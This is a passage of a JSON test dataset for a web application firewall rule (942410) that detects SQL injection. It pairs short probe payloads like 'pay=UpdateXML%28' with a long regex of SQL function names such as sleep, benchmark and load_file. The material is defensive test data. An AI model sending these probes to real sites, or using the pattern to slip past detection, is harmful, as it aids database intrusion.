"part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=UpdateXML%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=UPPER%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=user+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=user%2F%3F%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=user%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=values+%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=VALUES%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=version%3D%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?